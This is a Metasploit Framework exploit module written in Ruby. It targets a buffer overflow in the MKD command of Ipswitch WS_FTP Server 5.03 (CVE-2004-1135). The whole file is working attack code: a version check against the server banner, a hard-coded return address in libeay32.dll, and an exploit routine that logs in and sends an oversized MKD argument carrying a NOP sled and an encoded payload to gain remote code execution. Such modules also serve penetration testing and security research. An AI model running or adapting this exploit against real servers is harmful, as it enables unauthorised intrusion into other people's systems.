WS-FTP Server 5.03 MKD Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'WS-FTP Server 5.03 MKD Overflow',  
'Description' => %q{  
This module exploits the buffer overflow found in the MKD  
command in IPSWITCH WS_FTP Server 5.03 discovered by Reed  
Arvin.  
  
},  
'Author' => [ 'et', 'Reed Arvin <[email protected]>' ],  
'License' => BSD_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2004-1135' ],  
[ 'OSVDB', '12509' ],  
[ 'BID', '11772'],  
  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 480,  
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",  
'StackAdjustment' => -3500,  
},  
'Targets' =>   
[  
[   
'WS-FTP Server 5.03 Universal',  
{  
'Platform' => 'win',  
'Ret' => 0x25185bb8,  
# Address is executable to allow XP and 2K  
# 0x25185bb8 = push esp, ret (libeay32.dll)  
# B85B1825XX = mov eax,0xXX25185b   
},  
],  
],  
'DisclosureDate' => 'Nov 29 2004',  
'DefaultTarget' => 0))  
end  
  
def check  
connect  
disconnect   
if (banner =~ /5\.0\.3/)  
return Exploit::CheckCode::Vulnerable  
end   
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect_login  
  
print_status("Trying target #{target.name}...")  
  
buf = rand_text_alphanumeric(8192)  
buf[498, 4] = [ 0x7ffd3001 ].pack('V')   
buf[514, 4] = [ target.ret ].pack('V')  
buf[518, 4] = [ target.ret ].pack('V')  
buf[522, 2] = make_nops(2)  
buf[524, payload.encoded.length] = payload.encoded  
  
send_cmd( ['MKD', buf], true );  
  
handler   
disconnect  
end  
  
end  
`